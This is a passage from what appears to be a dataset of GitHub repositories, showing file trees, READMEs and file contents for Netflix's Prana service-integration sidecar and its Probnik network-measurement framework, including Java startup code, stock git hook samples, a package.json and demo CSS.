{"type": "file", "name": "PingHandlerTest.java"}, {"type": "file", "name": "StatusHandlerTest.java"}, {"type": "file", "name": "TestUtils.java"}]}]}]}]}]}]}]}]}]} | <!--
# Prana
-->
[![NetflixOSS Lifecycle](https://img.shields.io/osslifecycle/Netflix/Prana.svg)]()
![](images/Prana_Small.png?raw=true=150x150)
**Prana** - Making it easy to integrate with NetflixOSS services. Prana exposes Java based client libraries of various services like Eureka, Ribbon, Archaius over HTTP. Prana makes it easy for applications—especially those written in Non-JVM languages—exist in the NetflixOSS eco-system.
## Build
We use Gradle for building
```
./gradlew build
```
We use the standard Gradle application plugin to build a deployable artifact of Prana
```
./gradlew distZip
```
## Documentation
Please visit the [wiki] (https://github.com/Netflix/Prana/wiki) for detailed documentation.
Please open a GitHub issue if you feel the current documentation is not clear or needs more explanation.
## Contributions
Please use the [GitHub Issues] (https://github.com/netflix/Prana/issues) for requests.
We actively welcome pull requests.
## License
Copyright 2014 Netflix, Inc.
Licensed under the Apache License, Version 2.0: http://www.apache.org/licenses/LICENSE-2.0
## Current state of this project
The current implementation of this project is not used internally at Netflix and therefore updates to the open source have been slow. For more context, see http://ispyker.blogspot.com/2015/10/towards-being-better-about-open-source.html
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Wed Jan 21 14:40:34 PST 2015\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.2.1-bin.zip\n", "src\\main\\java\\com\\netflix\\prana\\Main.java": "/*\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.prana;\n\nimport com.google.inject.Injector;\nimport com.netflix.config.ConfigurationManager;\nimport com.netflix.config.DeploymentContext;\nimport com.netflix.governator.guice.LifecycleInjector;\nimport com.netflix.governator.lifecycle.LifecycleManager;\nimport com.netflix.karyon.KaryonServer;\nimport com.netflix.prana.config.PranaConfig;\nimport com.netflix.prana.http.api.HandlersModule;\nimport com.netflix.prana.service.ServiceModule;\nimport org.kohsuke.args4j.CmdLineException;\nimport org.kohsuke.args4j.CmdLineParser;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.util.Properties;\n\npublic class Main {\n\n private static Logger logger = LoggerFactory.getLogger(Main.class);\n\n public static void main(String[] args) {\n PranaConfig pranaConfig = new PranaConfig();\n CmdLineParser cmdLineParser = new CmdLineParser(pranaConfig);\n try {\n cmdLineParser.parseArgument(args);\n } catch (CmdLineException e) {\n System.err.println(e.getMessage());\n cmdLineParser.printUsage(System.err);\n System.exit(1);\n }\n\n\n try {\n MainModule sm = new MainModule(pranaConfig);\n try {\n FileInputStream fileInputStream = new FileInputStream(pranaConfig.getConfigFile());\n Properties properties = new Properties();\n properties.load(fileInputStream);\n ConfigurationManager.loadProperties(properties);\n } catch (FileNotFoundException fox) {\n logger.error(String.format(\"Config file %s is not present, loading default properties present in classpath\",\n pranaConfig.getConfigFile()));\n }\n DeploymentContext deploymentContext = ConfigurationManager.getDeploymentContext();\n deploymentContext.setApplicationId(pranaConfig.getAppName());\n Injector injector = LifecycleInjector.builder().withModules(sm, new ServiceModule(), new HandlersModule()).build().createInjector();\n LifecycleManager manager = injector.getInstance(LifecycleManager.class);\n manager.start();\n\n KaryonServer karyonServer = injector.getInstance(KaryonServer.class);\n karyonServer.startAndWaitTillShutdown();\n } catch (Exception e) {\n logger.error(e.getMessage());\n System.exit(1);\n }\n }\n\n}\n", "src\\main\\java\\com\\netflix\\prana\\MainModule.java": "/*\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.prana;\n\nimport com.google.inject.AbstractModule;\nimport com.google.inject.Inject;\nimport com.google.inject.Provides;\nimport com.google.inject.Singleton;\nimport com.netflix.adminresources.resources.KaryonWebAdminModule;\nimport com.netflix.karyon.Karyon;\nimport com.netflix.karyon.KaryonBootstrapSuite;\nimport com.netflix.karyon.KaryonServer;\nimport com.netflix.karyon.archaius.ArchaiusSuite;\nimport com.netflix.karyon.eureka.KaryonEurekaModule;\nimport com.netflix.prana.config.PranaConfig;\nimport com.netflix.prana.http.api.SimpleRouter;\n\npublic class MainModule extends AbstractModule {\n\n private PranaConfig config;\n\n public MainModule(PranaConfig config) {\n this.config = config;\n }\n\n @Override\n protected void configure() {\n }\n\n @Provides\n @Singleton\n @Inject\n public KaryonServer providesKaryonSever(SimpleRouter simpleRouter) {\n return Karyon.forRequestHandler(config.getHttpPort(),\n simpleRouter,\n new KaryonBootstrapSuite(),\n KaryonEurekaModule.asSuite(),\n KaryonWebAdminModule.asSuite(),\n new ArchaiusSuite(config.getAppName())\n );\n }\n}\n"} | null |
probnik | {"type": "directory", "name": "probnik", "children": [{"type": "file", "name": ".nvmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGES.txt"}, {"type": "directory", "name": "demo", "children": [{"type": "file", "name": "app.css"}, {"type": "file", "name": "charts.js"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "main.js"}, {"type": "file", "name": "probe_log.js"}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "app.js"}]}, {"type": "directory", "name": "vendor", "children": [{"type": "file", "name": "chart.js"}]}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package-lock.json"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "probnik", "children": [{"type": "file", "name": "probe.ts"}, {"type": "directory", "name": "probes", "children": [{"type": "file", "name": "browser_probe.ts"}, {"type": "file", "name": "pulse_probe.ts"}]}, {"type": "file", "name": "probnik.ts"}, {"type": "directory", "name": "recipe_providers", "children": [{"type": "file", "name": "http_recipe_provider.ts"}, {"type": "file", "name": "local_recipe_provider.ts"}]}, {"type": "directory", "name": "requesters", "children": [{"type": "file", "name": "xhr_requester.ts"}]}, {"type": "directory", "name": "testers", "children": [{"type": "file", "name": "http_tester.ts"}, {"type": "file", "name": "testers.ts"}]}]}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "resources", "children": []}, {"type": "file", "name": "tsconfig.json"}, {"type": "file", "name": "webpack.config.js"}]} | Get a taste of network with Probnik
============================
Probnik is a simple but powerful measurement framework, allowing to quickly compare various alternatives for network configuration of client-server communications. It is easy to integrate into an application code, perform tests from clients and send results for analysis upon completion.
**Note:** currently Probnik is in the Beta stage. Please use results with caution (and please submit bugs/issues) until this notice is taken down.
Components
============================
![Preview1](./resources/components.png)
For practical applications Probnik consists of 4 main components:
* Targets - a list of choices (e.g. HTTP endpoints) that are being tested and compared.
* Recipe provider - component that provides a test recipe, listing targets to test and test parameters.
* Probe - a client agent, which performs tests against given targets and collects measurements.
* Analytics system - collects results of the test.
The repo provides the implementation for the Probe agent, plugging it into user's infrastructure to provide test recipes and ingest results.
Please see [Probnik wiki](https://github.com/Netflix/Probnik/wiki) for detailed documentation about Probnik components.
Quick Start
============================
Probing requires just a few lines of code in an application.
```
// function to be called with Probnik test report
function onComplete(report) {
console.log("Probe ${report.name} report: " + JSON.stringify(report));
}
var probnik = require("probnik"),
// recipe provider to handout test recipe to probe
recipeProvider = new probnik.RestRecipeProvider("https://myapi.com/recipe");
// set up a browser probe
probe = new probnik.BrowserProbnik(recipeProvider, onComplete);
probe.start();
```
For more details on the setup a test recipe endpoint please refer to the [wiki guide](https://github.com/Netflix/probnik/wiki/Quick-Start).
Features and Use Cases
============================
Being a lightweight and flexible component, Probnik provides a wide range of use cases.
Today it is being used at Netflix to:
* Identify connectivity issues and faster network paths for client traffic
* Build availability metrics for your infrastructure
* Compare DNS providers
* Compare TLS ciphers and config
* Measure impact of various protocols (e.g. HTTP/1.1 vs HTTP/2)
* Build a volume/latency models of client traffic
* And more...
See more detailed coverage of these use cases in the [wiki](https://github.com/Netflix/probnik/wiki/Use-cases).
Demo
============================
This repo includes a simple demo application, showing an example of Probnik integration and results analysis.
## Prerequisites
Make sure that `npm` (>=5.5.0) and `Node` (>=8.0.0) are installed.
Probnik and demo target ES5, so should be supported on all modern browsers.
## Installation
Install npm dependencies for the project.
```
npm install
```
## Running demo
```
npm run demo
```
Open the broser at `http://localhost:8000`. The demo also runs a webserver on `localhost:3000` to provide Probnik recipes and target endpoints.
Documentation and more info
============================
* [Wiki documentation](https://github.com/Netflix/Probnik/wiki)
* Monitorama PDX'19:
* [slides](https://bit.ly/sfedorov-monitorama-pdx-19)
* [video](https://vimeo.com/341148870)
Contributing
============================
Bug reports, feature requests and especially pull requests (fixing bugs or adding features) are welcome!
License
============================
Copyright 2019 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
| {"package.json": "{\n \"name\": \"@netflix/probnik\",\n \"version\": \"0.0.2\",\n \"description\": \"Network measurement framework\",\n \"homepage\": \"https://github.com/Netflix/probnik\",\n \"main\": \"probe.js\",\n \"keywords\": [\n \"testing\",\n \"network\",\n \"performance\",\n \"monitoring\"\n ],\n \"scripts\": {\n \"prepare\": \"webpack --config webpack.config.js\",\n \"test\": \"test\",\n \"build:demo\": \"mkdir -p demo/dist && mkdir -p demo/dist/vendor && cp demo/app.css demo/dist/app.css && cp demo/vendor/chart.js demo/dist/vendor/chart.js && cp demo/index.html demo/dist/index.html\",\n \"demo:ui\": \"npm run build:demo && npm run serve:demo\",\n \"demo:steering\": \"npm run serve:steering\",\n \"demo\": \"npm run prepare && concurrently \\\"npm:demo:ui\\\" \\\"npm:demo:steering\\\"\",\n \"serve:demo:dev\": \"http-server ./demo/ -p 8000\",\n \"serve:demo\": \"http-server ./demo/dist/ -p 8000\",\n \"serve:steering\": \"node ./demo/server/app.js\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"ssh://[email protected]:7999/ftl/probnik.git\"\n },\n \"author\": \"[email protected]\",\n \"license\": \"ISC\",\n \"dependencies\": {\n \"typescript\": \"^3.4.5\"\n },\n \"devDependencies\": {\n \"browserify\": \"^16.2.3\",\n \"concurrently\": \"^4.1.0\",\n \"cors\": \"^2.8.5\",\n \"express\": \"^4.17.0\",\n \"http-server\": \"^0.11.1\",\n \"ts-loader\": \"^6.0.1\",\n \"webpack\": \"^4.32.2\",\n \"webpack-cli\": \"^3.3.2\"\n },\n \"publishConfig\": {\n \"access\": \"public\",\n \"registry\": \"https://registry.npmjs.org/\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "demo\\app.css": "\n body {\n margin: 0;\n font-family: \"Nunito\", -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\", \"Noto Color Emoji\";\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #858796;\n text-align: left;\n }\n \n hr {\n -webkit-box-sizing: content-box;\n box-sizing: content-box;\n height: 0;\n overflow: visible;\n }\n \n h1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: 0.5rem;\n }\n \n p {\n margin-top: 0;\n margin-bottom: 1rem;\n }\n\n .navbar {\n position: relative;\n display: -webkit-box;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n -webkit-box-align: center;\n -ms-flex-align: center;\n align-items: center;\n -webkit-box-pack: justify;\n -ms-flex-pack: justify;\n justify-content: space-between;\n padding: 0.5rem 1rem;\n }\n \n .navbar > .container,\n .navbar > .container-fluid {\n display: -webkit-box;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n -webkit-box-align: center;\n -ms-flex-align: center;\n align-items: center;\n -webkit-box-pack: justify;\n -ms-flex-pack: justify;\n justify-content: space-between;\n }\n \n .navbar-brand {\n display: inline-block;\n padding-top: 0.3125rem;\n padding-bottom: 0.3125rem;\n margin-right: 1rem;\n font-size: 1.25rem;\n line-height: inherit;\n white-space: nowrap;\n }\n \n .navbar-brand:hover, .navbar-brand:focus {\n text-decoration: none;\n }\n \n .navbar-nav {\n display: -webkit-box;\n display: -ms-flexbox;\n display: flex;\n -webkit-box-orient: vertical;\n -webkit-box-direction: normal;\n -ms-flex-direction: column;\n flex-direction: column;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n }\n \n .navbar-nav .nav-link {\n padding-right: 0;\n padding-left: 0;\n }\n \n .navbar-nav .dropdown-menu {\n position: static;\n float: none;\n }\n \n .navbar-text {\n display: inline-block;\n padding-top: 0.5rem;\n padding-bottom: 0.5rem;\n }\n \n .navbar-collapse {\n -ms-flex-preferred-size: 100%;\n flex-basis: 100%;\n -webkit-box-flex: 1;\n -ms-flex-positive: 1;\n flex-grow: 1;\n -webkit-box-align: center;\n -ms-flex-align: center;\n align-items: center;\n }\n \n .navbar-toggler {\n padding: 0.25rem 0.75rem;\n font-size: 1.25rem;\n line-height: 1;\n background-color: transparent;\n border: 1px solid transparent;\n border-radius: 0.35rem;\n }\n \n .navbar-toggler:hover, .navbar-toggler:focus {\n text-decoration: none;\n }\n \n .navbar-toggler-icon {\n display: inline-block;\n width: 1.5em;\n height: 1.5em;\n vertical-align: middle;\n content: \"\";\n background: no-repeat center center;\n background-size: 100% 100%;\n }\n \n @media (max-width: 575.98px) {\n .navbar-expand-sm > .container,\n .navbar-expand-sm > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n }\n \n @media (min-width: 576px) {\n .navbar-expand-sm {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -webkit-box-pack: start;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n .navbar-expand-sm .navbar-nav {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-direction: row;\n flex-direction: row;\n }\n .navbar-expand-sm .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-sm .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-sm > .container,\n .navbar-expand-sm > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n .navbar-expand-sm .navbar-collapse {\n display: -webkit-box !important;\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n .navbar-expand-sm .navbar-toggler {\n display: none;\n }\n }\n \n @media (max-width: 767.98px) {\n .navbar-expand-md > .container,\n .navbar-expand-md > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n }\n \n @media (min-width: 768px) {\n .navbar-expand-md {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -webkit-box-pack: start;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n .navbar-expand-md .navbar-nav {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-direction: row;\n flex-direction: row;\n }\n .navbar-expand-md .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-md .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-md > .container,\n .navbar-expand-md > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n .navbar-expand-md .navbar-collapse {\n display: -webkit-box !important;\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n .navbar-expand-md .navbar-toggler {\n display: none;\n }\n }\n \n @media (max-width: 991.98px) {\n .navbar-expand-lg > .container,\n .navbar-expand-lg > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n }\n \n @media (min-width: 992px) {\n .navbar-expand-lg {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -webkit-box-pack: start;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n .navbar-expand-lg .navbar-nav {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-direction: row;\n flex-direction: row;\n }\n .navbar-expand-lg .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-lg .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-lg > .container,\n .navbar-expand-lg > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n .navbar-expand-lg .navbar-collapse {\n display: -webkit-box !important;\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n .navbar-expand-lg .navbar-toggler {\n display: none;\n }\n }\n \n @media (max-width: 1199.98px) {\n .navbar-expand-xl > .container,\n .navbar-expand-xl > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n }\n \n @media (min-width: 1200px) {\n .navbar-expand-xl {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -webkit-box-pack: start;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n .navbar-expand-xl .navbar-nav {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-direction: row;\n flex-direction: row;\n }\n .navbar-expand-xl .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-xl .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-xl > .container,\n .navbar-expand-xl > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n .navbar-expand-xl .navbar-collapse {\n display: -webkit-box !important;\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n .navbar-expand-xl .navbar-toggler {\n display: none;\n }\n }\n \n .navbar-expand {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -webkit-box-pack: start;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n \n .navbar-expand > .container,\n .navbar-expand > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n \n .navbar-expand .navbar-nav {\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n -ms-flex-direction: row;\n flex-direction: row;\n }\n \n .navbar-expand .navbar-nav .dropdown-menu {\n position: absolute;\n }\n \n .navbar-expand .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n \n .navbar-expand > .container,\n .navbar-expand > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n \n .navbar-expand .navbar-collapse {\n display: -webkit-box !important;\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n \n .navbar-expand .navbar-toggler {\n display: none;\n }\n \n .navbar-light .navbar-brand {\n color: rgba(0, 0, 0, 0.9);\n }\n \n .navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {\n color: rgba(0, 0, 0, 0.9);\n }\n \n .navbar-light .navbar-nav .nav-link {\n color: rgba(0, 0, 0, 0.5);\n }\n \n .navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {\n color: rgba(0, 0, 0, 0.7);\n }\n \n .navbar-light .navbar-nav .nav-link.disabled {\n color: rgba(0, 0, 0, 0.3);\n }\n \n .navbar-light .navbar-nav .show > .nav-link,\n .navbar-light .navbar-nav .active > .nav-link,\n .navbar-light .navbar-nav .nav-link.show,\n .navbar-light .navbar-nav .nav-link.active {\n color: rgba(0, 0, 0, 0.9);\n }\n \n .navbar-light .navbar-toggler {\n color: rgba(0, 0, 0, 0.5);\n border-color: rgba(0, 0, 0, 0.1);\n }\n \n .navbar-light .navbar-toggler-icon {\n background-image: url(\"data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e\");\n }\n \n .navbar-light .navbar-text {\n color: rgba(0, 0, 0, 0.5);\n }\n \n .navbar-light .navbar-text a {\n color: rgba(0, 0, 0, 0.9);\n }\n \n .navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {\n color: rgba(0, 0, 0, 0.9);\n }\n \n .navbar-dark .navbar-brand {\n color: #fff;\n }\n \n .navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {\n color: #fff;\n }\n \n .navbar-dark .navbar-nav .nav-link {\n color: rgba(255, 255, 255, 0.5);\n }\n \n .navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {\n color: rgba(255, 255, 255, 0.75);\n }\n \n .navbar-dark .navbar-nav .nav-link.disabled {\n color: rgba(255, 255, 255, 0.25);\n }\n \n .navbar-dark .navbar-nav .show > .nav-link,\n .navbar-dark .navbar-nav .active > .nav-link,\n .navbar-dark .navbar-nav .nav-link.show,\n .navbar-dark .navbar-nav .nav-link.active {\n color: #fff;\n }\n \n .navbar-dark .navbar-toggler {\n color: rgba(255, 255, 255, 0.5);\n border-color: rgba(255, 255, 255, 0.1);\n }\n \n .navbar-dark .navbar-toggler-icon {\n background-image: url(\"data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e\");\n }\n \n .navbar-dark .navbar-text {\n color: rgba(255, 255, 255, 0.5);\n }\n \n .navbar-dark .navbar-text a {\n color: #fff;\n }\n \n .navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {\n color: #fff;\n }\n\n .accordion > .card {\n overflow: hidden;\n }\n \n .accordion > .card:not(:first-of-type) .card-header:first-child {\n border-radius: 0;\n }\n \n .accordion > .card:not(:first-of-type):not(:last-of-type) {\n border-bottom: 0;\n border-radius: 0;\n }\n \n .accordion > .card:first-of-type {\n border-bottom: 0;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n }\n \n .accordion > .card:last-of-type {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n }\n \n .accordion > .card .card-header {\n margin-bottom: -1px;\n }\n\n .sidebar .nav-item.dropdown .dropdown-toggle::after,\n.topbar .nav-item.dropdown .dropdown-toggle::after {\n width: 1rem;\n text-align: center;\n float: right;\n vertical-align: 0;\n border: 0;\n font-weight: 900;\n content: '\\f105';\n font-family: 'Font Awesome 5 Free';\n}\n\n.sidebar .nav-item.dropdown.show .dropdown-toggle::after,\n.topbar .nav-item.dropdown.show .dropdown-toggle::after {\n content: '\\f107';\n}\n\n.sidebar .nav-item .nav-link,\n.topbar .nav-item .nav-link {\n position: relative;\n}\n\n.sidebar .nav-item .nav-link .badge-counter,\n.topbar .nav-item .nav-link .badge-counter {\n position: absolute;\n -webkit-transform: scale(0.7);\n transform: scale(0.7);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n right: .25rem;\n margin-top: -.25rem;\n}\n\n.sidebar .nav-item .nav-link .img-profile,\n.topbar .nav-item .nav-link .img-profile {\n height: 2rem;\n width: 2rem;\n}\n\n.topbar {\n height: 4.375rem;\n}\n\n.topbar #sidebarToggleTop {\n height: 2.5rem;\n width: 2.5rem;\n}\n\n.topbar #sidebarToggleTop:hover {\n background-color: #eaecf4;\n}\n\n.topbar #sidebarToggleTop:active {\n background-color: #dddfeb;\n}\n\n.topbar .navbar-search {\n width: 25rem;\n}\n\n.topbar .navbar-search input {\n font-size: 0.85rem;\n}\n\n.topbar .topbar-divider {\n width: 0;\n border-right: 1px solid #e3e6f0;\n height: calc(4.375rem - 2rem);\n margin: auto 1rem;\n}\n\n.topbar .nav-item .nav-link {\n height: 4.375rem;\n display: -webkit-box;\n display: -ms-flexbox;\n display: flex;\n -webkit-box-align: center;\n -ms-flex-align: center;\n align-items: center;\n padding: 0 0.75rem;\n}\n\n.topbar .nav-item .nav-link:focus {\n outline: none;\n}\n\n.topbar .nav-item:focus {\n outline: none;\n}\n\n.topbar .dropdown {\n position: static;\n}\n\n.topbar .dropdown .dropdown-menu {\n width: calc(100% - 1.5rem);\n right: 0.75rem;\n}\n\n.topbar .dropdown-list {\n padding: 0;\n border: none;\n overflow: hidden;\n}\n\n.topbar .dropdown-list .dropdown-header {\n background-color: #4e73df;\n border: 1px solid #4e73df;\n padding-top: 0.75rem;\n padding-bottom: 0.75rem;\n color: #fff;\n}\n\n.topbar .dropdown-list .dropdown-item {\n white-space: normal;\n padding-top: 0.5rem;\n padding-bottom: 0.5rem;\n border-left: 1px solid #e3e6f0;\n border-right: 1px solid #e3e6f0;\n border-bottom: 1px solid #e3e6f0;\n line-height: 1.3rem;\n}\n\n.topbar .dropdown-list .dropdown-item .dropdown-list-image {\n position: relative;\n height: 2.5rem;\n width: 2.5rem;\n}\n\n.topbar .dropdown-list .dropdown-item .dropdown-list-image img {\n height: 2.5rem;\n width: 2.5rem;\n}\n\n.topbar .dropdown-list .dropdown-item .dropdown-list-image .status-indicator {\n background-color: #eaecf4;\n height: 0.75rem;\n width: 0.75rem;\n border-radius: 100%;\n position: absolute;\n bottom: 0;\n right: 0;\n border: 0.125rem solid #fff;\n}\n\n.topbar .dropdown-list .dropdown-item .text-truncate {\n max-width: 10rem;\n}\n\n.topbar .dropdown-list .dropdown-item:active {\n background-color: #eaecf4;\n color: #3a3b45;\n}\n\n@media (min-width: 576px) {\n .topbar .dropdown {\n position: relative;\n }\n .topbar .dropdown .dropdown-menu {\n width: auto;\n right: 0;\n }\n .topbar .dropdown-list {\n width: 20rem !important;\n }\n .topbar .dropdown-list .dropdown-item .text-truncate {\n max-width: 13.375rem;\n }\n}\n\n.topbar.navbar-light .navbar-nav .nav-item .nav-link {\n color: #d1d3e2;\n}\n\n.topbar.navbar-light .navbar-nav .nav-item .nav-link:hover {\n color: #b7b9cc;\n}\n\n.topbar.navbar-light .navbar-nav .nav-item .nav-link:active {\n color: #858796;\n}\n\n .sidebar {\n width: 6.5rem;\n min-height: 100vh;\n }\n \n .sidebar .nav-item {\n position: relative;\n }\n \n .sidebar .nav-item:last-child {\n margin-bottom: 1rem;\n }\n \n .sidebar .nav-item .nav-link {\n text-align: center;\n padding: 0.75rem 1rem;\n width: 6.5rem;\n }\n \n .sidebar .nav-item .nav-link span {\n font-size: 0.65rem;\n display: block;\n }\n \n .sidebar .nav-item.active .nav-link {\n font-weight: 700;\n }\n \n .sidebar .nav-item .collapse {\n position: absolute;\n left: 